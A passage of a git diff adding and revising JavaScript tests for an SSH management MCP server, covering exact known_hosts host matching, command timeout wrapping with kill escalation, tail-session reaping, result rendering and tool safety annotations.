md.startsWith('[err]'), `header: ${md.slice(0, 40)}`); + + await handleSshSessionClose({ args: { session_id } }); +}); + await test('session_send: unknown session_id returns structured failure', async () => { const r = await handleSshSessionSend({ args: { session_id: 'sess_0000000000000000', command: 'ls', format: 'json' }, diff --git a/tests/test-ssh-key-manager.js b/tests/test-ssh-key-manager.js new file mode 100644 index 0000000..9b5e62f --- /dev/null +++ b/tests/test-ssh-key-manager.js @@ -0,0 +1,127 @@ +#!/usr/bin/env node +/** + * Tests for src/ssh-key-manager.js host matching. + * + * isHostKnown / getCurrentHostKey are wired into the live connect() + * host-key verifier. They previously used substring `line.includes(host)`, + * so `example.com` matched a `notexample.com` line, an `example.com.evil` + * line, or a coincidence inside the base64 key body -- a mismatch silently + * fell through to TOFU re-acceptance. + * + * These tests stub `fs` so the module's hardcoded KNOWN_HOSTS_PATH resolves + * to controlled content; no real ~/.ssh/known_hosts is read or written. + */ + +import assert from 'assert'; +import fs from 'fs'; +import os from 'os'; +import path from 'path'; + +const KNOWN_HOSTS_PATH = path.join(os.homedir(), '.ssh', 'known_hosts'); + +// -- fs stub: intercept ONLY the known_hosts path, pass everything else -- +let fakeKnownHosts = null; // string content, or null = file absent +const realExistsSync = fs.existsSync; +const realReadFileSync = fs.readFileSync; +fs.existsSync = (p) => (p === KNOWN_HOSTS_PATH ? fakeKnownHosts !== null : realExistsSync(p)); +fs.readFileSync = (p, enc) => (p === KNOWN_HOSTS_PATH ? fakeKnownHosts : realReadFileSync(p, enc)); + +// Import AFTER the stub is installed. +const { isHostKnown, getCurrentHostKey } = await import('../src/ssh-key-manager.js'); + +let passed = 0, failed = 0; +const fails = []; +function test(name, fn) { + try { fn(); passed++; console.log(`[ok] ${name}`); } + catch (e) { failed++; fails.push({ name, err: e }); console.error(`[err] ${name}: ${e.message}`); } +} + +// A real-shape ed25519 known_hosts key (any valid base64 works for matching). +const KEY = 'AAAAC3NzaC1lZDI1NTE5AAAAIByexample0000000000000000000000000000'; +const line = (hostspec) => `${hostspec} ssh-ed25519 ${KEY}`; + +console.log('[test] Testing ssh-key-manager host matching\n'); + +// -- the headline bug ----------------------------------------------------- +test('isHostKnown: example.com is NOT known when only notexample.com is on file', () => { + fakeKnownHosts = line('notexample.com') + '\n'; + assert.strictEqual(isHostKnown('example.com', 22), false, + 'substring match would wrongly report example.com as known'); +}); + +test('isHostKnown: example.com is NOT known when only example.com.evil.net is on file', () => { + fakeKnownHosts = line('example.com.evil.net') + '\n'; + assert.strictEqual(isHostKnown('example.com', 22), false, + 'a longer hostname containing example.com must not match'); +}); + +test('isHostKnown: a coincidental base64 substring in the key body never matches', () => { + // host token "deadbeef" appears nowhere as a host, but does inside the key. + fakeKnownHosts = `realhost ssh-ed25519 AAAAdeadbeefBBBBexample0000000000000000\n`; + assert.strictEqual(isHostKnown('deadbeef', 22), false, + 'matching against the key body is a substring-match artifact'); +}); + +// -- positive matches still work ----------------------------------------- +test('isHostKnown: exact host on default port matches', () => { + fakeKnownHosts = line('example.com') + '\n'; + assert.strictEqual(isHostKnown('example.com', 22), true); +}); + +test('isHostKnown: [host]:port form matches the right non-22 port', () => { + fakeKnownHosts = line('[example.com]:2222') + '\n'; + assert.strictEqual(isHostKnown('example.com', 2222), true, 'exact port 2222 matches'); + assert.strictEqual(isHostKnown('example.com', 22), false, 'port 22 must not match a :2222 entry'); +}); + +test('isHostKnown: comma-separated host list matches any listed host exactly', () => { + fakeKnownHosts = line('alias.example.com,192.0.2.10') + '\n'; + assert.strictEqual(isHostKnown('192.0.2.10', 22), true, 'second host in the list matches'); + assert.strictEqual(isHostKnown('alias.example.com', 22), true, 'first host matches'); + assert.strictEqual(isHostKnown('192.0.2.1', 22), false, 'prefix of a listed IP must not match'); +}); + +test('isHostKnown: hashed |1| entries never match (cannot be un-hashed)', () => { + fakeKnownHosts = `|1|abcd1234salt=|hash5678value= ssh-ed25519 ${KEY}\n`; + assert.strictEqual(isHostKnown('example.com', 22), false, + 'hashed known_hosts entries are opaque -> reported not-known'); +}); + +test('isHostKnown: file absent -> not known', () => { + fakeKnownHosts = null; + assert.strictEqual(isHostKnown('example.com', 22), false); +}); + +test('isHostKnown: comments and blank lines are ignored', () => { + fakeKnownHosts = `# a comment mentioning example.com\n\n${line('other.host')}\n`; + assert.strictEqual(isHostKnown('example.com', 22), false, + 'example.com inside a comment must not count'); +}); + +// -- getCurrentHostKey uses the same exact matcher ------------------------ +test('getCurrentHostKey: returns null for a non-matching longer hostname', () => { + fakeKnownHosts = line('example.com.evil.net') + '\n'; + assert.strictEqual(getCurrentHostKey('example.com', 22), null); +}); + +test('getCurrentHostKey: returns the key for an exact host match', () => { + fakeKnownHosts = line('example.com') + '\n'; + const keys = getCurrentHostKey('example.com', 22); + assert(Array.isArray(keys) && keys.length === 1, 'one key returned'); + assert(keys[0].fingerprint.startsWith('SHA256:'), 'fingerprint computed'); +}); + +test('getCurrentHostKey: does not pick up a hashed entry', () => { + fakeKnownHosts = `|1|saltsaltsalt=|hashhashhash= ssh-ed25519 ${KEY}\n`; + assert.strictEqual(getCurrentHostKey('example.com', 22), null); +}); + +// -- restore + summary ---------------------------------------------------- +fs.existsSync = realExistsSync; +fs.readFileSync = realReadFileSync; + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-ssh-manager-isalive.js b/tests/test-ssh-manager-isalive.js new file mode 100644 index 0000000..87464bd --- /dev/null +++ b/tests/test-ssh-manager-isalive.js @@ -0,0 +1,74 @@ +#!/usr/bin/env node +/** + * Test suite for SSHManager.isAlive() -- the synchronous pool liveness check. + * Run: node tests/test-ssh-manager-isalive.js + */ +import assert from 'assert'; +import SSHManager from '../src/ssh-manager.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing SSHManager.isAlive\n'); + +// --- isAlive ------------------------------------------------------------- +test('isAlive: fresh manager (not yet connected) is not alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + assert.strictEqual(m.isAlive(), false); +}); + +test('isAlive: connected and client not destroyed -> alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = true; + m.client = { destroyed: false }; + assert.strictEqual(m.isAlive(), true); +}); + +test('isAlive: connected but client destroyed -> not alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = true; + m.client = { destroyed: true }; + assert.strictEqual(m.isAlive(), false); +}); + +test('isAlive: client absent -> not alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = true; + m.client = null; + assert.strictEqual(m.isAlive(), false); +}); + +test('isAlive: returns a real boolean, never a Promise', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = true; + m.client = { destroyed: false }; + const v = m.isAlive(); + assert.strictEqual(typeof v, 'boolean', 'synchronous -- no thenable'); +}); + +test('isAlive: not connected, even with a live client -> not alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = false; + m.client = { destroyed: false }; + assert.strictEqual(m.isAlive(), false); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-stream-exec.js b/tests/test-stream-exec.js index 7e3405d..3764546 100644 --- a/tests/test-stream-exec.js +++ b/tests/test-stream-exec.js @@ -7,7 +7,10 @@ import assert from 'assert'; import { EventEmitter } from 'events'; -import { streamExecCommand, shQuote, buildRemoteCommand } from '../src/stream-exec.js'; +import { + streamExecCommand, shQuote, buildRemoteCommand, wrapWithTimeout, +} from '../src/stream-exec.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0; let failed = 0; @@ -236,6 +239,91 @@ await test('debounce: pending chunk flushed on close before resolve', async () = assert.strictEqual(chunks[0].text, 'late-arriving'); }); +// --- streamExecCommand applies the OS timeout wrapper ------------------- +await test('streamExecCommand: non-raw timed command gets the OS timeout wrapper', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'make all', { timeoutMs: 5000, debounceMs: 5 }); + await sleep(5); + client.streams[0].finish(0); + await p; + // Wrapped form: timeout bounds `sh -c ''`, NOT the bare cmd. + assert(/^timeout -k \d+ \d+ sh -c /.test(client.lastCommand), 'timeout -> sh -c wrapper'); + assert.strictEqual(unwrapTimeout(client.lastCommand), 'make all', 'inner command intact'); +}); + +await test('streamExecCommand: raw:true command is NOT wrapped', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'make all', { + timeoutMs: 5000, debounceMs: 5, raw: true, + }); + await sleep(5); + client.streams[0].finish(0); + await p; + assert.strictEqual(client.lastCommand, 'make all', 'raw command sent verbatim'); +}); + +await test('streamExecCommand: no timeout -> not wrapped even when non-raw', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'echo hi', { debounceMs: 5 }); + await sleep(5); + client.streams[0].finish(0); + await p; + assert.strictEqual(client.lastCommand, 'echo hi', 'untimed command not wrapped'); +}); + +await test('streamExecCommand: timeout wrapper composes with the cwd prefix', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'ls', { cwd: '/srv/app', timeoutMs: 3000, debounceMs: 5 }); + await sleep(5); + client.streams[0].finish(0); + await p; + // timeout outermost; the cd && cmd runs INSIDE `sh -c` so the shell -- not + // timeout -- parses `&&`. Unwrapped, the inner command is the cd prefix. + assert(/^timeout -k \d+ \d+ sh -c /.test(client.lastCommand), 'timeout -> sh -c outermost'); + assert.strictEqual(unwrapTimeout(client.lastCommand), "cd '/srv/app' && ls", 'cd prefix runs in shell'); +}); + +// --- wrapWithTimeout ----------------------------------------------------- +await test('wrapWithTimeout: wraps via sh -c so a shell parses the command', () => { + const w = wrapWithTimeout('make build', 30000); + // 30000 ms -> 30 s wall. timeout runs `sh -c ''`, never the bare cmd. + assert(/^timeout -k \d+ \d+ sh -c /.test(w), 'timeout -k sh -c prefix'); + assert.strictEqual(unwrapTimeout(w), 'make build', 'inner command recoverable'); +}); + +await test('wrapWithTimeout: shell metachars survive into the sh -c argument', () => { + // The whole reason for sh -c: &&, |, env-prefix, set -e must reach a shell. + const cmd = "SSH_MGR_DB_PASS='p' mysql -e 'show databases' | head"; + const w = wrapWithTimeout(cmd, 5000); + assert(/^timeout -k \d+ \d+ sh -c /.test(w), 'sh -c wrapper'); + assert.strictEqual(unwrapTimeout(w), cmd, 'env-prefix + pipe preserved verbatim'); +}); + +await test('wrapWithTimeout: -k grace lets the OS escalate to KILL itself', () => { + const w = wrapWithTimeout('cmd', 10000); + // `timeout -k N` sends KILL N seconds after the initial TERM. + const m = w.match(/^timeout -k (\d+) (\d+) sh -c /); + assert(m, 'wrapped'); + assert(Number(m[1]) >= 1, 'a non-zero kill grace'); +}); + +await test('wrapWithTimeout: rounds sub-second timeouts up to at least 1 s', () => { + const w = wrapWithTimeout('cmd', 200); + const m = w.match(/^timeout -k \d+ (\d+) sh -c /); + assert(m, 'wrapped'); + assert(Number(m[1]) >= 1, 'wall is at least 1 s -- timeout rejects 0'); +}); + +await test('wrapWithTimeout: no timeout (0 / undefined) returns the command unchanged', () => { + assert.strictEqual(wrapWithTimeout('cmd', 0), 'cmd'); + assert.strictEqual(wrapWithTimeout('cmd', undefined), 'cmd'); + assert.strictEqual(wrapWithTimeout('cmd'), 'cmd'); +}); + +await test('wrapWithTimeout: empty command returned unchanged (nothing to wrap)', () => { + assert.strictEqual(wrapWithTimeout('', 5000), ''); +}); + // --- Abort semantics ----------------------------------------------------- await test('abort: already-aborted signal rejects immediately', async () => { const ac = new AbortController(); @@ -295,6 +383,51 @@ await test('timeout: command finishes before deadline -> resolves normally', asy await sleep(10); }); +await test('timeout: escalates to KILL when the stream ignores INT', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'sleep 9999', { + timeoutMs: 30, debounceMs: 5, killGraceMs: 20, + }); + await sleep(5); + const s = client.streams[0]; + // The fake stream's signal() records signals but its close() is NOT + // auto-driven here, so the stream stays "open" past the grace window. + await assert.rejects(() => p, /timeout after 30ms/); + assert(s.signals.includes('INT'), 'INT sent first'); + // Wait out the kill grace; KILL must follow. + await sleep(40); + assert(s.signals.includes('KILL'), 'KILL escalation after the grace window'); + assert(s.signals.indexOf('INT') < s.signals.indexOf('KILL'), 'INT precedes KILL'); +}); + +await test('timeout: a stream that closes within grace is never sent KILL', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'sleep 1', { + timeoutMs: 20, debounceMs: 5, killGraceMs: 60, + }); + await sleep(5); + const s = client.streams[0]; + await assert.rejects(() => p, /timeout after 20ms/); + // Stream closes promptly after the INT (well within the 60ms grace). + s.finish(0, 'INT'); + await sleep(80); + assert(s.signals.includes('INT'), 'INT was sent'); + assert(!s.signals.includes('KILL'), 'no KILL -- stream closed within grace'); +}); + +await test('timeout: a normal completion arms no kill timer', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'ok', { + timeoutMs: 500, debounceMs: 5, killGraceMs: 20, + }); + await sleep(5); + client.streams[0].finish(0); + const r = await p; + await sleep(40); + assert.strictEqual(r.code, 0); + assert(!client.streams[0].signals.includes('KILL'), 'no KILL on a clean finish'); +}); + // --- Error surfaces ------------------------------------------------------ await test('exec callback error -> rejects with that error', async () => { const boom = new Error('connection dropped'); diff --git a/tests/test-structured-result.js b/tests/test-structured-result.js index af4d376..8aa28e7 100644 --- a/tests/test-structured-result.js +++ b/tests/test-structured-result.js @@ -95,11 +95,13 @@ test('preview: data carries preview:true + plan', () => { }); // --- toMcp format variants ----------------------------------------------- -test('toMcp markdown: wraps in content[0].text, isError reflects success', () => { +test('toMcp compact (default): single rendered text block', () => { const r = toMcp(ok('t', { x: 1 })); assert.strictEqual(r.content.length, 1); assert.strictEqual(r.content[0].type, 'text'); assert.strictEqual(r.isError, false); + assert(r.content[0].text.startsWith('[ok] t'), 'rendered, not raw JSON'); + assert(!r.content[0].text.includes('```'), 'no fences'); }); test('toMcp json: single JSON block, isError:true on fail', () => { @@ -122,36 +124,57 @@ test('toMcp custom renderer is honored', () => { }); // --- defaultRender ------------------------------------------------------- -test('defaultRender: success card has [ok] marker, tool name, server, duration', () => { - const md = defaultRender(ok('ssh_execute', { x: 1 }, { server: 'prod01', duration_ms: 1234 })); - assert(md.startsWith('[ok] **ssh_execute**')); - assert(md.includes('`prod01`')); - assert(md.includes('`1.23 s`')); - assert(md.includes('```json')); +test('defaultRender: success uses renderHeader, KV body, no fences', () => { + const md = defaultRender(ok('ssh_execute', { rows: 3, kind: 'mysql' }, + { server: 'prod01', duration_ms: 1234 })); + assert.strictEqual(md.split('\n')[0], '[ok] ssh_execute · prod01 · 1.23 s'); + assert(!md.includes('```'), 'no fenced block'); + assert(!md.includes('**'), 'no markdown bold'); + assert(md.includes('rows'), 'data key present'); + assert(md.includes('mysql'), 'data value present'); }); -test('defaultRender: failure uses [err] marker and "failed" badge', () => { +test('defaultRender: failure uses [err] marker and indented error', () => { const md = defaultRender(fail('ssh_execute', 'boom')); - assert(md.startsWith('[err] **ssh_execute**')); - assert(md.includes('**failed**')); - assert(md.includes('boom')); + assert.strictEqual(md.split('\n')[0], '[err] ssh_execute · failed'); + assert(md.includes('\n boom'), 'error indented 2 spaces'); }); -test('defaultRender: preview renders "dry run" blockquote and plan JSON', () => { +test('defaultRender: preview renders plain "dry run" line and KV plan', () => { const md = defaultRender(preview('ssh_upload', { action: 'upload', target: 'a' })); - assert(md.includes('> **dry run**')); - assert(md.includes('"action": "upload"')); + assert(md.includes('dry run -- nothing executed')); + assert(!md.includes('```'), 'no fenced JSON'); + assert(/^\s*action\s+upload$/m.test(md), 'action value is upload'); + assert(/^\s*target\s+a$/m.test(md), 'target value is a'); }); -test('defaultRender: omits duration when not set', () => { +test('defaultRender: omits duration when meta has none', () => { const md = defaultRender(ok('t', {})); - assert(!md.includes(' s`'), 'no seconds segment'); - assert(!md.includes(' ms`'), 'no ms segment'); + assert.strictEqual(md.split('\n')[0], '[ok] t'); }); -test('defaultRender: elided bytes footer rendered', () => { +test('defaultRender: elided bytes footer rendered plain', () => { const md = defaultRender(ok('t', { x: 1 }, { elided_bytes: 5120 })); - assert(md.includes('> elided: 5.0 KB')); + assert(md.includes('elided: 5.0 KB')); + assert(!md.includes('>'), 'no blockquote marker'); +}); + +// --- kvRows (exercised via defaultRender) -------------------------------- +test('defaultRender: nested object/array values render as compact JSON', () => { + const md = defaultRender(ok('t', { arr: [1, 2], nested: { a: 1 } })); + assert(!md.includes('[object Object]'), 'nested object not stringified to [object Object]'); + assert(md.includes('[1,2]'), 'array as compact JSON'); + assert(md.includes('{"a":1}'), 'nested object as compact JSON'); +}); + +test('defaultRender: null data does not throw, renders header only', () => { + const md = defaultRender(ok('t', null)); + assert.strictEqual(md, '[ok] t'); +}); + +test('defaultRender: non-object data renders a single value row', () => { + const md = defaultRender(ok('t', 'plain string')); + assert(/^\s*value\s+plain string$/m.test(md), 'scalar data in a value row'); }); // --- buildPlan ----------------------------------------------------------- @@ -189,7 +212,8 @@ test('maybePreview returns MCP response when preview=true', () => { assert(r); assert.strictEqual(r.isError, false); assert(r.content[0].text.includes('dry run')); - assert(r.content[0].text.includes('"action": "upload"')); + assert(/^\s*action\s+upload$/m.test(r.content[0].text), 'action value is upload'); + assert(/^\s*reversibility\s+auto$/m.test(r.content[0].text), 'reversibility value is auto'); }); // --- renderPlan ---------------------------------------------------------- diff --git a/tests/test-tail-tools.js b/tests/test-tail-tools.js index fd39a5f..d28e8d9 100644 --- a/tests/test-tail-tools.js +++ b/tests/test-tail-tools.js @@ -14,7 +14,10 @@ import { buildTailCommand, _sessionsForTest, _stoppedIdsForTest, + _reapClosedSessionsForTest, + _CLOSED_SESSION_GRACE_MS, } from '../src/tools/tail-tools.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0, failed = 0; const fails = []; async function test(name, fn) { @@ -43,7 +46,9 @@ class OneShotClient { this.streams = []; this.lastCommand = null; } - exec(cmd, cb) { + exec(rawCmd, cb) { + // Recover inner command from `timeout -k N N sh -c ''` wrapper. + const cmd = unwrapTimeout(rawCmd); this.lastCommand = cmd; const s = new FakeStream(); this.streams.push(s); @@ -126,7 +131,7 @@ await test('handleSshTail: happy path with quoted path and default lines', async assert.strictEqual(r.isError, undefined); assert.strictEqual(client.lastCommand, 'tail -n 10 \'/var/log/app.log\''); const md = r.content[0].text; - assert(md.startsWith('[ok] **ssh_execute**'), 'uses exec markdown renderer'); + assert(md.startsWith('[ok] ssh_execute'), 'uses exec markdown renderer'); assert(md.includes('a')); assert(md.includes('c')); }); @@ -245,7 +250,7 @@ await test('handleSshTailStart: markdown render starts with ssh_tail_start heade getConnection: async () => client, args: { server: 's', file: '/f' }, }); - assert(r.content[0].text.startsWith('[ok] **ssh_tail_start**'), + assert(r.content[0].text.startsWith('[ok] ssh_tail_start'), `got: ${r.content[0].text.slice(0, 80)}`); const parsed = JSON.parse((await handleSshTailStart({ getConnection: async () => client, @@ -369,6 +374,78 @@ await test('handleSshTailStop: unknown id (never seen) -> structured fail', asyn assert.strictEqual(r.isError, true); }); +// -------------------------------------------------------------------------- +// Closed-session reaping -- a follow-start whose stream closes but is never +// explicitly ssh_tail_stop'd must not linger in the registry forever. +// -------------------------------------------------------------------------- +await test('closed + fully-read session is reaped on the next read (no explicit stop)', async () => { + const client = new FollowClient(); + const started = await handleSshTailStart({ + getConnection: async () => client, + args: { server: 's', file: '/f', format: 'json' }, + }); + const { session_id } = JSON.parse(started.content[0].text).data; + assert(_sessionsForTest().has(session_id), 'session registered'); + + client.feed('done\n'); + await sleep(5); + // First read consumes the whole buffer. + const r1 = JSON.parse((await handleSshTailRead({ args: { session_id, format: 'json' } })).content[0].text); + assert.strictEqual(r1.data.chunk, 'done\n'); + assert(_sessionsForTest().has(session_id), 'still alive while stream open'); + + // Stream closes (remote ended) -- no ssh_tail_stop is ever issued. + client.lastStream().emit('close', 0); + await sleep(5); + + // Next read sees closed:true AND reaps the now-dead, fully-read session. + const r2 = JSON.parse((await handleSshTailRead({ args: { session_id, format: 'json' } })).content[0].text); + assert.strictEqual(r2.data.closed, true, 'caller is told the stream closed'); + assert.strictEqual(_sessionsForTest().has(session_id), false, + 'closed + fully-read session must be reaped, not leaked'); + assert(_stoppedIdsForTest().has(session_id), + 'reaped id is remembered so a later stop is a clean no-op'); +}); + +await test('closed session past the grace period is reaped by the sweep even if unread', async () => { + const client = new FollowClient(); + const started = await handleSshTailStart({ + getConnection: async () => client, + args: { server: 's', file: '/f', format: 'json' }, + }); + const { session_id } = JSON.parse(started.content[0].text).data; + + // Stream closes with buffered-but-never-read data. + client.feed('unread bytes\n'); + client.lastStream().emit('close', 0); + await sleep(5); + assert(_sessionsForTest().has(session_id), 'closed-but-recent session still lingers'); + + // A fresh sweep does nothing yet (within grace). + _reapClosedSessionsForTest(Date.now()); + assert(_sessionsForTest().has(session_id), 'not reaped within grace window'); + + // Backdate closedAt past the grace period; the sweep now reaps it. + _sessionsForTest().get(session_id).closedAt = + Date.now() - _CLOSED_SESSION_GRACE_MS - 1000; + _reapClosedSessionsForTest(Date.now()); + assert.strictEqual(_sessionsForTest().has(session_id), false, + 'closed session past grace must be reaped even though never read'); +}); + +await test('an OPEN session is never reaped, no matter how old', async () => { + const client = new FollowClient(); + const started = await handleSshTailStart({ + getConnection: async () => client, + args: { server: 's', file: '/f', format: 'json' }, + }); + const { session_id } = JSON.parse(started.content[0].text).data; + // Stream stays open. Sweep with a far-future clock. + _reapClosedSessionsForTest(Date.now() + _CLOSED_SESSION_GRACE_MS * 100); + assert(_sessionsForTest().has(session_id), 'open session must survive any sweep'); + await handleSshTailStop({ args: { session_id } }); +}); + // -------------------------------------------------------------------------- // Summary // -------------------------------------------------------------------------- diff --git a/tests/test-tool-annotations.js b/tests/test-tool-annotations.js index 6f6a232..e1156b3 100644 --- a/tests/test-tool-annotations.js +++ b/tests/test-tool-annotations.js @@ -40,12 +40,16 @@ await test('every annotated tool is actually registered (no dangling entries)', `annotations defined for unknown tools: ${dangling.join(', ')}`); }); +await test('exactly 13 tools are annotated', () => { + assert.strictEqual(Object.keys(TOOL_ANNOTATIONS).length, 13, + `expected 13 annotated tools, got ${Object.keys(TOOL_ANNOTATIONS).length}`); +}); + await test('every annotated tool has a human title', () => { const missing = Object.entries(TOOL_ANNOTATIONS) .filter(([, v]) => !v.title || typeof v.title !== 'string') .map(([k]) => k); - assert.strictEqual(missing.length, 0, - `tools missing title: ${missing.join(', ')}`); + assert.strictEqual(missing.length, 0, `tools missing title: ${missing.join(', ')}`); }); await test('readOnlyHint and destructiveHint are never both true (spec invariant)', () => { @@ -56,60 +60,54 @@ await test('readOnlyHint and destructiveHint are never both true (spec invariant `readOnly + destructive both set on: ${conflicts.join(', ')}`); }); -await test('obviously-destructive tools are marked destructiveHint', () => { - const expected = ['ssh_backup_restore', 'ssh_db_import', 'ssh_deploy', 'ssh_deploy_artifact', - 'ssh_execute_sudo', 'ssh_backup_schedule', 'ssh_edit', 'ssh_plan']; +await test('mutation-capable fat tools are marked destructiveHint', () => { + const expected = ['ssh_run', 'ssh_file', 'ssh_service', 'ssh_health', + 'ssh_db', 'ssh_backup', 'ssh_docker', 'ssh_session', 'ssh_net', 'ssh_plan']; for (const name of expected) { assert.strictEqual(TOOL_ANNOTATIONS[name]?.annotations?.destructiveHint, true, `${name} should be destructiveHint:true`); } }); -await test('obviously read-only tools are marked readOnlyHint', () => { - const expected = ['ssh_list_servers', 'ssh_health_check', 'ssh_cat', 'ssh_db_list', - 'ssh_db_query', 'ssh_tail', 'ssh_tail_read', 'ssh_backup_list', - 'ssh_connection_status', 'ssh_history', 'ssh_session_list']; - for (const name of expected) { +await test('purely-inspecting fat tools are marked readOnlyHint', () => { + for (const name of ['ssh_logs', 'ssh_fleet', 'ssh_find']) { assert.strictEqual(TOOL_ANNOTATIONS[name]?.annotations?.readOnlyHint, true, `${name} should be readOnlyHint:true`); } }); +await test('every fat tool declares openWorldHint (acts on remote hosts)', () => { + const missing = Object.entries(TOOL_ANNOTATIONS) + .filter(([, v]) => v.annotations?.openWorldHint !== true) + .map(([k]) => k); + assert.strictEqual(missing.length, 0, + `tools missing openWorldHint: ${missing.join(', ')}`); +}); + await test('withAnnotations() merges title + annotations into schema', () => { - const base = { description: 'x', inputSchema: {} }; - const out = withAnnotations('ssh_list_servers', base); - assert.strictEqual(out.title, 'List Configured Servers'); - assert.strictEqual(out.annotations.readOnlyHint, true); - assert.strictEqual(out.annotations.idempotentHint, true); - // Caller-provided fields preserved + const out = withAnnotations('ssh_run', { description: 'x', inputSchema: {} }); + assert.strictEqual(typeof out.title, 'string'); + assert(out.title.length > 0); + assert.strictEqual(out.annotations.destructiveHint, true); assert.strictEqual(out.description, 'x'); }); await test('withAnnotations() leaves unknown tools untouched', () => { const base = { description: 'x', inputSchema: {} }; - const out = withAnnotations('ssh_nonexistent_tool', base); - assert.deepStrictEqual(out, base); + assert.deepStrictEqual(withAnnotations('ssh_nonexistent_tool', base), base); }); await test('withAnnotations() does not clobber a caller-provided title', () => { - const base = { title: 'Custom', description: 'x', inputSchema: {} }; - const out = withAnnotations('ssh_execute', base); + const out = withAnnotations('ssh_run', { title: 'Custom', description: 'x', inputSchema: {} }); assert.strictEqual(out.title, 'Custom'); }); await test('withAnnotations() caller-provided annotations override map defaults', () => { - // ssh_list_servers is annotated readOnlyHint:true, idempotentHint:true. - // If a future caller explicitly flips readOnlyHint off, that must win. - const base = { - description: 'x', - inputSchema: {}, - annotations: { readOnlyHint: false }, - }; - const out = withAnnotations('ssh_list_servers', base); - assert.strictEqual(out.annotations.readOnlyHint, false, - 'caller override must beat map default'); - assert.strictEqual(out.annotations.idempotentHint, true, - 'non-overridden map defaults still apply'); + const out = withAnnotations('ssh_logs', { + description: 'x', inputSchema: {}, annotations: { readOnlyHint: false }, + }); + assert.strictEqual(out.annotations.readOnlyHint, false, 'caller override must beat map default'); + assert.strictEqual(out.annotations.openWorldHint, true, 'non-overridden defaults still apply'); }); console.log(`\n${passed} passed, ${failed} failed`); diff --git a/tests/test-tool-config-manager.js b/tests/test-tool-config-manager.js index 8e7a5da..166ce56 100644 --- a/tests/test-tool-config-manager.js +++ b/tests/test-tool-config-manager.js @@ -2,7 +2,7 @@ /** * Tests for src/tool-config-manager.js -- the gate that decides whether * each registered tool is served to the MCP client. Zero coverage prior - * to this file; this is the gatekeeper for every one of the 50 tools. + * to this file; this is the gatekeeper for every one of the 12 v4 tools. * * Covers: * - default config when no file exists (all enabled) @@ -95,6 +95,35 @@ await test('load(): valid minimal config is accepted', async () => { assert.strictEqual(m.config.mode, 'minimal'); }); +// --- getDefaultConfig group set must mirror the v4 registry -------------- +await test('getDefaultConfig().groups matches the real v4 TOOL_GROUPS exactly', () => { + // A stale group set (pre-v4 core/sessions/monitoring/backup/database/...) + // makes custom-mode isToolEnabled fall through to `return true`, silently + // re-enabling tools a user disabled. Default groups MUST be the 3 v4 keys. + const m = new ToolConfigManager(); + const defaultGroups = Object.keys(m.getDefaultConfig().groups).sort(); + const registryGroups = Object.keys(TOOL_GROUPS).sort(); + assert.deepStrictEqual(defaultGroups, registryGroups, + `default groups ${JSON.stringify(defaultGroups)} must equal registry ${JSON.stringify(registryGroups)}`); + // No stale pre-v4 group names leak through. + for (const stale of ['sessions', 'monitoring', 'database', 'gamechanger']) { + assert(!(stale in m.getDefaultConfig().groups), `stale group "${stale}" must be gone`); + } +}); + +await test('upgrade path: every v4 tool resolves to a default-config group (no silent fall-through)', () => { + // Each tool must map to a group key present in getDefaultConfig().groups, + // so a custom-mode user's disable choice is actually honored post-upgrade. + const m = new ToolConfigManager(); + const groups = m.getDefaultConfig().groups; + for (const name of getAllTools()) { + const g = TOOL_GROUPS.core.includes(name) ? 'core' + : TOOL_GROUPS.ops.includes(name) ? 'ops' + : TOOL_GROUPS.advanced.includes(name) ? 'advanced' : null; + assert(g && g in groups, `tool ${name} -> group must exist in default config`); + } +}); + // --- isToolEnabled -------------------------------------------------------- await test('mode=all enables every tool', () => { const m = new ToolConfigManager(); @@ -119,27 +148,24 @@ await test('mode=custom respects per-group enable flags', () => { m.config = { version: '1.0', mode: 'custom', groups: { - core: { enabled: true }, sessions: { enabled: false }, - monitoring: { enabled: false }, backup: { enabled: false }, - database: { enabled: false }, advanced: { enabled: false }, - gamechanger: { enabled: false }, + core: { enabled: true }, ops: { enabled: false }, advanced: { enabled: false }, }, }; for (const name of TOOL_GROUPS.core) assert.strictEqual(m.isToolEnabled(name), true); - for (const name of TOOL_GROUPS.sessions) assert.strictEqual(m.isToolEnabled(name), false); - for (const name of TOOL_GROUPS.database) assert.strictEqual(m.isToolEnabled(name), false); + for (const name of TOOL_GROUPS.ops) assert.strictEqual(m.isToolEnabled(name), false); + for (const name of TOOL_GROUPS.advanced) assert.strictEqual(m.isToolEnabled(name), false); }); await test('individual tool override wins over group disable (in custom mode)', () => { const m = new ToolConfigManager(); m.config = { version: '1.0', mode: 'custom', - groups: { database: { enabled: false } }, - tools: { ssh_db_query: true }, + groups: { ops: { enabled: false } }, + tools: { ssh_db: true }, }; - assert.strictEqual(m.isToolEnabled('ssh_db_query'), true, + assert.strictEqual(m.isToolEnabled('ssh_db'), true, 'explicit tool=true must override group=false'); - assert.strictEqual(m.isToolEnabled('ssh_db_dump'), false, + assert.strictEqual(m.isToolEnabled('ssh_backup'), false, 'sibling in disabled group without override stays off'); }); @@ -148,16 